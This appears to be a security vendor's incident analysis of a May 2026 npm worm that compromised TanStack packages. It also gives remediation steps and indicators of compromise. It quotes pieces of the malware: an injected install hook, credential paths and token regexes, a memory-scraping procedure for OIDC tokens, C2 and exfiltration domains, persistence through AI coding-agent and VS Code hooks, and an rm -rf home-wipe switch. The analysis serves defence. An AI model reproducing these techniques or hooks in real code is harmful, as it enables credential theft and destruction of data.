Skip to main content

TanStack Npm Packages Compromised Inside The Mini Shai Hulud Supply Chain Attack

Escrito por

11 de maio de 2026

0 minutos de leitura

TanStack npm packages compromised: inside the Mini Shai-Hulud supply chain attack

On May 11, 2026, between 19:20 and 19:26 UTC, 84 malicious npm package artifacts were published across 42 packages in the @tanstack namespace. The packages were not published by an attacker who stole credentials; they were published by TanStack's legitimate release pipeline, using its trusted OIDC identity, after attacker-controlled code hijacked the runner mid-workflow. The malicious versions spread to Mistral AI, UiPath, and dozens of other maintainers within hours. @tanstack/react-router alone receives over 12.7 million weekly downloads (npm API).

The incident is attributed by StepSecurity to the threat group known as TeamPCP, and it is also the first documented case of a malicious npm package carrying valid SLSA provenance. SLSA provenance is a cryptographic certificate, generated by Sigstore, that is meant to verify a package was built from a trusted source. The worm was able to produce these certificates because it hijacked the legitimate build pipeline itself; Sigstore verified the build process correctly. What SLSA does not guarantee is that the code being built was safe.

If your team installed any affected @tanstack/* version on May 11, treat the install environment as compromised and rotate every secret accessible from that host. Keep reading for the full package list, technical breakdown, and step-by-step remediation.

CVE: CVE-2026-45321 | GHSA: GHSA-g7cv-rxg3-hmpx | Severity: Critical

Wave four: campaign context

The TanStack attack is not an isolated incident. It is the latest wave in a series of npm supply chain attacks using the Shai-Hulud worm toolchain. TeamPCP, the group StepSecurity attributes this attack to, is also responsible for compromising Aqua Security's Trivy scanner (March 2026), the Bitwarden CLI npm package (April 2026). The earlier Shai-Hulud waves (September and November 2025) used the same worm toolchain but were not attributed to TeamPCP.

Wave

Date

Scale

Key escalation

Sep 14–16, 2025

500+ packages, 700+ repos

First self-propagating npm worm; TruffleHog for secrets

Nov 21–23, 2025

492 packages, 132M monthly downloads, 25,000+ repos

preinstall hook (no human interaction); home-directory destruction fallback (Trigger.dev postmortem)

Apr 29, 2026

First AI coding agent persistence (.claude/settings.json); encrypted exfil; Russian locale exemption

May 11, 2026

373 malicious versions, 169 packages

First npm worm with valid SLSA Build Level 3 attestations; Session P2P C2

Each wave builds on the previous wave's technical sophistication. Wave four is notable not for its scale (Wave 2 was larger) but for what it achieved: publishing malicious packages that are indistinguishable from legitimate ones by provenance attestation, a property no prior supply chain attack had demonstrated.

TeamPCP publicly took credit for the attack. The group is also tracked under the aliases DeadCatx3, PCPcat, ShellForce, and CipherForce. Unit 42 has documented the group's announced partnership with the Vect ransomware group, based on a BreachForums announcement.

CISA issued advisories for both the original September 2025 wave and the tj-actions/changed-files compromise (March 2025), which first documented the OIDC token-extraction technique reused in this attack.

What got hit

The core TanStack router family was the initial vector, but the worm's self-propagation mechanism rapidly expanded the blast radius.

TanStack packages (42 packages, 84 versions — two per package):

Package

Compromised versions

1.169.5, 1.169.8

1.169.5, 1.169.8

1.169.5, 1.169.8

1.169.5, 1.169.8

1.167.68, 1.167.71

1.167.38, 1.167.41

The full 42-package list is in GHSA-g7cv-rxg3-hmpx and Snyk's Security Database. Confirmed-clean families: @tanstack/query*, @tanstack/table*, @tanstack/form*, @tanstack/virtual*, @tanstack/store.

Secondary victims (worm-propagated):

Namespace

Example packages

@mistralai/mistralai 2.2.2–2.2.4; -azure and -gcp variants

@uipath

40+ packages across the UiPath namespace

@draftlab / @draftauth

@draftlab/auth, @draftlab/db, @draftauth/client

@squawk

19 aviation data packages

misc.

safe-action, cmux-agent-mcp, nextmove-mcp, ts-dna, cross-stitch, and more

By end of day, at least 170 affected packages had been documented in Snyk's Security Database. @mistralai/mistralai is also registered in the OSSF malicious packages database as MAL-2026-3432 (GHSA-3q49-cfcf-g5fm).

How the attack worked: three chained vulnerabilities

The TanStack postmortem is thorough. Three vulnerabilities were chained; none alone would have been sufficient.

Step 1: Pwn Request via pull_request_target

On May 10, 2026, the attacker created a fork of TanStack/router under the account zblgg (GitHub ID 127806521), deliberately naming it zblgg/configuration to avoid appearing in fork-list searches. A malicious commit (65bf499d) was authored under the fabricated identity claude <claude@users.noreply.github.com> impersonating the Anthropic Claude GitHub App, and prefixed with [skip ci] to suppress automated CI on push.

On May 11 at 10:49, the attacker opened PR #7378 against TanStack/router#main, titled "WIP: simplify history build," and triggered a known misconfiguration: TanStack's bundle-size.yml workflow used the pull_request_target trigger but checked out the fork's merge ref and executed fork-controlled code:

1on:
2  pull_request_target:
3    paths: ['packages/**', 'benchmarks/**']
4
5jobs:
6  benchmark-pr:
7    steps:
8      - uses: actions/checkout@v6.0.2
9        with:
10          ref: refs/pull/${{ github.event.pull_request.number }}/merge  # fork code
11
12      - uses: TanStack/config/.github/setup@main  # calls actions/cache@v5
13
14      - run: pnpm nx run @benchmarks/bundle-size:build  # executes fork-controlled code

This "Pwn Request" pattern was first documented and demonstrated against Angular, MDN, and hyperledger/besu by security researcher Adnan Khan in May 2024. The pull_request_target trigger runs in the base repo's security context, so the fork's code had access to the base repo's cache scope and GITHUB_TOKEN.

Step 2: GitHub Actions cache poisoning

The malicious vite_setup.mjs from the fork did not exfiltrate data immediately. Instead, it poisoned the pnpm package store under the exact cache key that release.yml would later look up:

1Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11

This key was pre-computed from the public pnpm-lock.yaml using the same hashFiles('**/pnpm-lock.yaml') formula the workflow uses. The poisoned 1.1 GB cache entry was saved at 11:29 and persisted undetected for nearly eight hours, until a legitimate main branch push triggered release.yml at 19:15.

The author of bundle-size.yml had attempted a trust split — keeping the benchmark job separate with a note about untrusted permissions — but missed a critical GitHub Actions behavior: actions/cache@v5's post-job save uses a runner-internal token, not the workflow GITHUB_TOKEN, so permissions: contents: read does not prevent cache writes. Cache scope is also shared across pull_request_target runs and base-branch pushes, creating the cross-boundary poisoning window.

Step 3: OIDC token extraction from runner memory

release.yml holds id-token: write permission, which is required for npm's OIDC trusted-publisher binding. When attacker-controlled binaries from the poisoned pnpm store ran during the build phase, they used a technique documented in the tj-actions/changed-files compromise of March 2025; the TanStack postmortem notes the attacker used "the same memory-extraction technique (and verbatim Python script, with attribution comment)" from that incident:

  1. Locate the Runner.Worker process via /proc/*/cmdline

  2. Read /proc/<pid>/maps and /proc/<pid>/mem to dump the worker's address space

  3. Extract the OIDC token, which the runner mints lazily in memory when id-token: write is set

  4. POST directly to registry.npmjs.org authenticated as the legitimate TanStack release workflow

The workflow's intended Publish Packages step was never reached, tests failed, and the step was skipped. The malicious publish happened anyway, authenticated with a valid OIDC token and valid SLSA provenance, because the attacker extracted the token before the workflow finished.

Two release runs occurred. Both completed with status: failure. npm received 84 valid, signed, provenance-attested package publishes, run 25613093674 and 25691781302.

Inside the payload: router_init.js

The 2.3 MB router_init.js file was smuggled into each compromised tarball's root, a file not declared in the package's files field, which proves the tarball was tampered with outside the normal build process. Each package also received an injected optionalDependencies entry:

1"optionalDependencies": {
2  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
3}

The commit hash refers to an orphan commit in the attacker's fork that GitHub surfaces through the legitimate TanStack/router URL due to shared commit object storage across fork networks. The URL looks official; the commit is not. When npm resolves the dependency, it fetches and runs a prepare lifecycle hook:

1{
2  "scripts": {
3    "prepare": "bun run tanstack_runner.js && exit 1"
4  }
5}

The && exit 1 is deliberate: the optional dependency "fails" gracefully, leaving almost no trace in install logs while the payload is already executed in the background.

One important defensive note: Bun, as a package manager, does not execute lifecycle scripts by default, so developers installing the affected packages via Bun directly would not have triggered this particular payload delivery vector. Machines with Bun already installed also trigger an early-exit in the payload's hasCommand("bun") check. Neither makes Bun a complete mitigation, the router_init.js file is still present in the tarball, but it does reduce the install-time attack surface.

Three layers of obfuscation

router_init.js uses a three-layer protection scheme documented by Upwind Security's full deobfuscation (using webcrack 2.16.0, which produced 221,771 lines of readable JavaScript from the 11.7 MB obfuscated blob):

Layer 1: The canonical JavaScript Obfuscator pattern — a self-invoking string-array rotation bootstrap followed by a dispatcher function (_0x253b) called 2,864 times on a single source line. All string literals are replaced by array lookups.

Layer 2: A per-byte Fisher-Yates substitution cipher. The key is derived via PBKDF2-SHA256 with hardcoded master key 0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2186c40aa and salt svksjrhjkcejg at 200,000 iterations — deliberately slow to resist automated analysis. This layer decrypts 396 unique string constants including C2 domains, credential paths, and the campaign's internal name: EveryBoiWeBuildIsAWormyBoi.

Layer 3: 11 AES-256-GCM encrypted payloads, gzip-compressed, requiring the Bun runtime (Bun.gunzipSync) to decrypt. The encryption function, recovered from deobfuscation:

1function w8(key, encryptedData) {
2  let keyBuf     = Buffer.from(key, 'base64');
3  let dataBuf    = Buffer.from(encryptedData, 'hex');
4  let iv         = dataBuf.subarray(0, 12);
5  let authTag    = dataBuf.subarray(12, 28);
6  let ciphertext = dataBuf.subarray(28);
7  let decipher   = createDecipheriv('aes-256-gcm', keyBuf, iv);
8  decipher.setAuthTag(authTag);
9  return new TextDecoder().decode(Bun.gunzipSync(
10    Buffer.concat([decipher.update(ciphertext), decipher.final()])
11  ));
12}

The same ctf-scramble-v2 Fisher-Yates PRNG (seeded with 0x3039 / 12345) appears verbatim across the Bitwarden CLI, SAP, and TanStack waves — Unit 42 identified this as a shared-authorship indicator connecting all three attacks to the same codebase.

Daemonization

Before doing anything visible, the payload checks process.env.__DAEMONIZED. If unset, it forks a fully detached child with all stdio suppressed and calls unref() so Node.js does not wait for the child. The parent exits cleanly; the child runs silently and is decoupled from the terminal session that ran npm install.

Credential harvesting

The payload performs a systematic sweep of every major credential plane in cloud-native CI environments. Note that the runner memory scraper deliberately skips tokens explicitly named github_token — likely to avoid triggering GitHub's own secret-scanning on the exfiltrated data.

GitHub Actions:

  • Direct reads: GITHUB_REPOSITORY, GITHUB_SERVER_URL, ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL

  • GitHub REST API: GET /repos/<repo>/actions/secrets?per_page=100 (the API maximum)

AWS:

  • Environment variables: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION, AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

  • IMDSv2 (correctly implemented — will succeed against hardened instances that have disabled IMDSv1)

  • ECS Task Metadata endpoint (169.254.170.2)

  • Multi-region Secrets Manager and SSM Parameter Store enumeration

HashiCorp Vault:

  • VAULT_TOKEN, VAULT_ADDR, VAULT_AUTH_TOKEN

  • Direct API calls to vault.svc.cluster.local:8200 (the Kubernetes-internal Vault endpoint)

Kubernetes:

  • /var/run/secrets/kubernetes.io/serviceaccount/ service account tokens

  • Combined with the Vault endpoint: steal K8s token → authenticate to Vault → retrieve all Vault secrets

Workstation targets:

  • ~/.npmrc, ~/.git-credentials, SSH private keys under ~/.ssh/

  • GCP metadata, cloud provider credential files across 100+ paths on Linux and macOS

  • ~/.claude/projects/*.jsonl — Claude Code session history files containing code, commands, and potentially credentials that appeared in prior Claude Code sessions

Token regex patterns recovered from deobfuscation:

1{
2  npmtoken:   /npm_[A-Za-z0-9]{36,}/g,
3  ghtoken:    /gh[op]_[A-Za-z0-9]{36}/g,
4  vaultToken: /hvs\.[A-Za-z0-9_-]{24,}/g,
5  k8sToken:   /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-.]+/g,
6  awsKey:     /AKIA[0-9A-Z]{16}/g,
7}

Exfiltration and dead drops

Stolen data is encrypted and sent through the Session/Oxen decentralized P2P messenger network (filev2.getsession[.]org, seed{1,2,3}.getsession.org). There is no attacker-controlled C2 server; traffic is routed through Session's onion-based service nodes and is indistinguishable from encrypted messaging app telemetry. IP-level blocking is ineffective; DNS-level blocking of *.getsession.org is the practical perimeter control.

Secondary exfiltration routes through GitHub's own GraphQL API via dead-drop commits: authored as claude@users.noreply.github.com (impersonating the Anthropic Claude GitHub App), message chore: update dependencies, with Dependabot-style branch names drawn from Frank Herbert's Dune universe, dependabout/…/setup-formatter (note: "dependabout," not "dependabot"). GitHub's GraphQL endpoint is allowlisted in virtually every CI network egress policy, so this channel bypasses perimeter controls entirely.

The payload also injects .github/workflows/codeql_analysis.yml into every accessible repository, exfiltrating toJSON(secrets) on push — harvesting the full GitHub Actions secrets context of victim organizations.

A fallback recovery mechanism searches GitHub for commits containing the magic string OhNoWhatsGoingOnWithGitHub to recover tokens previously exfiltrated by other victims.

Self-propagation

After exfiltrating credentials, the worm queries:

1GET https://registry.npmjs.org/-/v1/search?text=maintainer:<username>

It then republishes each package under the stolen OIDC identity, with the same router_init.js injection and the same optionalDependencies entry. Propagation extended to over 200 packages beyond the initial 84 @tanstack/* versions, as documented in Snyk's Security Database. This is what spread the worm to Mistral AI, UiPath, and the dozens of other secondary victims.

Crucially, the worm uses generateKeyPairSync and sign to forge Sigstore-compatible in-toto provenance attestations for every package it republishes. This means secondary victims' packages also carry what appears to be valid SLSA provenance; the SLSA attestation failure mode extends to worm-propagated packages, not just the initial TanStack publish.

Persistence: uninstall is not enough

The worm writes copies of itself into developer tooling directories to survive across npm uninstall and reboots:

Claude Code hooks (.claude/):

1<project>/.claude/router_runtime.js   # payload self-copy
2<project>/.claude/settings.json       # hooks config: runs on every tool event
3<project>/.claude/setup.mjs           # ESM loader shim

Claude Code's hooks configuration can execute shell commands in response to tool events such as file edits and bash runs. By writing itself into .claude/settings.json, the worm re-executes every time a developer uses Claude Code in the affected project directory.

VS Code (.vscode/):

1<project>/.vscode/setup.mjs           # ESM loader shim
2<project>/.vscode/tasks.json          # runs setup.mjs on folder open

VS Code's workspace task auto-run provides an independent execution vector. Together, these two mechanisms mean a developer who ran npm install on an affected version may be re-compromising their environment every time they open their editor.

Nx npm Malware Explained: AI Agent Hijacking — How supply chain malware abuses VS Code tasks and AI coding agent hooks as persistence vectors, with analysis of the Nx npm worm campaign that used identical techniques.

System-level dead-man's switch:

1~/.local/bin/gh-token-monitor.sh                    # Linux
2~/.config/systemd/user/gh-token-monitor.service     # Linux
3~/Library/LaunchAgents/com.user.gh-token-monitor.plist  # macOS

This service polls api.github.com/user with the stolen GitHub token every 60 seconds. If the token is revoked (HTTP 40x response), it runs rm -rf ~/ — destroying the user's home directory.

Remediation order matters: disable the monitor service before revoking credentials. If you revoke first, you may trigger home directory destruction. This was independently identified by researcher carlini in GitHub issue comment #4425225340 and surfaced by the HN community within hours of the attack.

The SLSA provenance problem

This attack is the first documented case of an npm worm producing validly-attested SLSA Build Level 3 provenance for malicious packages. The Sigstore attestations on the compromised @tanstack/* versions are legitimate: they correctly attest that the packages were built and published by release.yml running on refs/heads/main in the TanStack/router repository. That is all true.

SLSA provenance attests that a package was built by a specific repository's GitHub Actions run. It does not attest that the workflow was authorized to run, that it executed from a protected branch, or that the commit triggering it was legitimate.

The exploitable OIDC configuration:

1# Vulnerable: trusts the entire repository
2Trusted publisher: Repository: tanstack/router

The secure configuration:

1# Secure: pins to specific branch and workflow
2Trusted publisher:
3  Repository: tanstack/router
4  Workflow: .github/workflows/release.yml
5  Branch: refs/heads/main

Any npm package using OIDC trusted publishing without branch and workflow pinning is vulnerable to this class of attack. Provenance attestations remain a necessary piece of supply chain security — they are not a sufficient one. Behavioral analysis at install time is the complementary control. Automated behavioral analysis flagged all 84 affected artifacts within six minutes of publication by detecting anomalies in router_init.js before any human analyst reviewed the packages.

What to do right now

Step 0: Determine if you are exposed

Check whether any affected version reached your environments without executing scripts:

1# Safe inspection: downloads tarball without executing lifecycle scripts
2npm pack @tanstack/react-router@1.169.5 --dry-run
3
4# Or manually unpack and inspect
5npm pack @tanstack/<name>@<version>
6tar -xzf *.tgz
7grep -A3 optionalDependencies package/package.json
8ls -la package/router_init.js   # present = compromised version
1# Check by hash
2find . -name "router_init.js" -exec shasum -a 256 {} \;
3# Compromised hash: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
1# Check for the malicious optionalDependency marker in installed packages
2find node_modules/@tanstack -name "package.json" | \
3  xargs grep -l "voicproducoes\|79ac49eedf"

Step 1: Contain persistence BEFORE rotating credentials

If you find evidence of compromise, disable the dead-man's switch before doing anything else:

1# Linux — stop and disable the monitoring service
2systemctl --user stop gh-token-monitor.service 2>/dev/null
3systemctl --user disable gh-token-monitor.service 2>/dev/null
4rm -f ~/.config/systemd/user/gh-token-monitor.service
5rm -f ~/.local/bin/gh-token-monitor.sh
6
7# macOS — unload the LaunchAgent
8launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null
9rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

Then remove editor persistence hooks:

1# Claude Code hooks
2cat ~/.claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
3cat .claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
4# Remove router_runtime.js, setup.mjs, and any suspicious hook entries
5
6# VS Code tasks
7cat .vscode/tasks.json 2>/dev/null
8# Remove any task referencing setup.mjs or router_runtime.js
9
10# Check for injected GitHub Actions workflow
11ls .github/workflows/codeql_analysis.yml 2>/dev/null
12# If present and you didn't add it, it's likely the injected exfil workflow — remove it
1# Check for dead-drop commits authored as the Claude bot
2git log --all --author=claude@users.noreply.github.com
3# Revert any unexpected commits and force-push after confirming they're not legitimate

Step 2: Rotate all secrets

After persistence is removed, rotate in this priority order:

  1. npm publish tokens and OIDC federation grants for any npm package published from affected repos

  2. GitHub PATs and fine-grained personal access tokens

  3. AWS credentials (both static keys and instance role trusts via IMDSv2)

  4. HashiCorp Vault tokens

  5. Kubernetes service account tokens

  6. SSH private keys

  7. GCP service account credentials

  8. Any secrets visible in ~/.claude/projects/*.jsonl — Claude Code session logs are a harvest target

Re-establish OIDC federation grants only after confirming the publishing workflow is clean.

Step 3: Network-level mitigations

Block *.getsession.org at the DNS level. IP-based blocking is insufficient — the Session network uses distributed service nodes. DNS-level blocking is the practical perimeter control.

Also block: api.masscan.cloud and git-tanstack.com (additional C2 domains from the campaign infrastructure). Second-stage payload URLs to block at egress: litter.catbox.moe/h8nc9u.js and litter.catbox.moe/7rrc6l.mjs.

Step 4: Audit GitHub Actions OIDC configuration

For any npm package using trusted publishing, pin the OIDC configuration to a specific branch and workflow file:

1# Update your npm trusted publisher config to include:
2workflow: .github/workflows/release.yml
3branch: refs/heads/main
4# (not just repository: owner/repo)

Set permissions: id-token: none at the workflow level, granting id-token: write only in the specific job that publishes:

1permissions:
2  id-token: none
3  contents: read
4
5jobs:
6  publish:
7    permissions:
8      id-token: write  # only this job, not the entire workflow

Step 5: Audit pull_request_target workflows

Any workflow using pull_request_target that also checks out fork code and writes to the cache is vulnerable to the cache poisoning vector. Either use pull_request (fork context, read-only) or separate fork code execution from base-repo cache writes entirely.

Purge existing GitHub Actions caches for any repo with pull_request_target + cache writes:

1# GitHub CLI
2gh api /repos/OWNER/REPO/actions/caches --jq '.actions_caches[].id' | \
3  xargs -I{} gh api -X DELETE /repos/OWNER/REPO/actions/caches/{}

Pin all third-party action references to commit SHAs, not tags:

1# Instead of:
2- uses: actions/cache@v5
3# Use:
4- uses: actions/cache@d4323d4df104b026a6aa633fdb11d772146be0bf

Step 6: Add release-age cooldowns

The malicious versions were live for approximately three hours. A seven-day cooldown would have fully protected against this specific attack (see also: pnpm supply chain hardening settings):

1# ~/.npmrc
2min-release-age=7
3ignore-scripts=true
4
5# ~/Library/Preferences/pnpm/rc
6minimum-release-age=10080   # minutes
7
8# ~/.bunfig.toml
9[install]
10minimumReleaseAge = 604800  # seconds
11
12# ~/.config/uv/uv.toml
13exclude-newer = "7 days"

Also consider allow-git=none for npm v11+ to prevent git-URL dependencies from installing (the attack vector for the @tanstack/setup optionalDependency).

Step 7: Do not trust SLSA provenance alone

This attack produces valid SLSA Build Level 3 attestations for malicious packages. Provenance verification is necessary; it is not sufficient. Combine it with behavioral analysis at install time and a tool that checks packages against known malicious signatures.

Snyk's coverage

Snyk's Security Database covers the related LiteLLM PyPI supply chain attack (SNYK-PYTHON-LITELLM-15762713), where tampered versions of litellm were uploaded directly to PyPI, installing a multi-stage credential stealer and persistent backdoor using the same .pth file technique.

Snyk's in-depth analysis of the LiteLLM attack is available at snyk.io/articles/poisoned-security-scanner-backdooring-litellm.

Snyk Open Source scans your dependency tree against the Snyk Security Database and flags known-compromised package versions. If you are not already scanning your projects, try Snyk for free to check your current exposure.

Shai-Hulud NPM Attack: Remediation with Snyk — Walkthrough of using Snyk to identify compromised packages in your dependency tree and remediate exposure.

Summary: indicators of compromise

Indicator

Value

CVE

CVE-2026-45321

GHSA

GHSA-g7cv-rxg3-hmpx

Malicious file

router_init.js

SHA-256 (router_init.js)

ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c

SHA-256 (tanstack_runner.js)

2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96

Malicious optionalDependency

"@tanstack/setup": "github:tanstack/router#79ac49ee..."

Attacker fork

Malicious orphan commit

79ac49eedf774dd4b0cfa308722bc463cfe5885c

Primary exfil domain

filev2.getsession[.]org

Additional C2

api.masscan.cloud, git-tanstack.com

Second-stage payloads

litter.catbox.moe/h8nc9u.js, litter.catbox.moe/7rrc6l.mjs

Dead-drop commit author

claude@users.noreply.github.com

Dead-drop branch pattern

dependabout/…/setup-formatter

Persistence files

.claude/router_runtime.js, .claude/setup.mjs, .vscode/setup.mjs

Dead-man's switch (Linux)

~/.local/bin/gh-token-monitor.sh, ~/.config/systemd/user/gh-token-monitor.service

Dead-man's switch (macOS)

~/Library/LaunchAgents/com.user.gh-token-monitor.plist

Campaign PBKDF2 salt

svksjrhjkcejg (unique to this campaign, useful for YARA)

Campaign string

IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner

Community-maintained detection scripts: GLPMC/Tanstack-Worm-Detector and omarpr/mini-shai-hulud-ioc-scanner (please do verify before using these, though).

Start securing your Python apps

Find and fix Python vulnerabilities with Snyk for free.

No credit card required.

Or Sign up with Azure AD Docker ID Bitbucket

By using Snyk, you agree to abide by our policies, including our Terms of Service and Privacy Policy.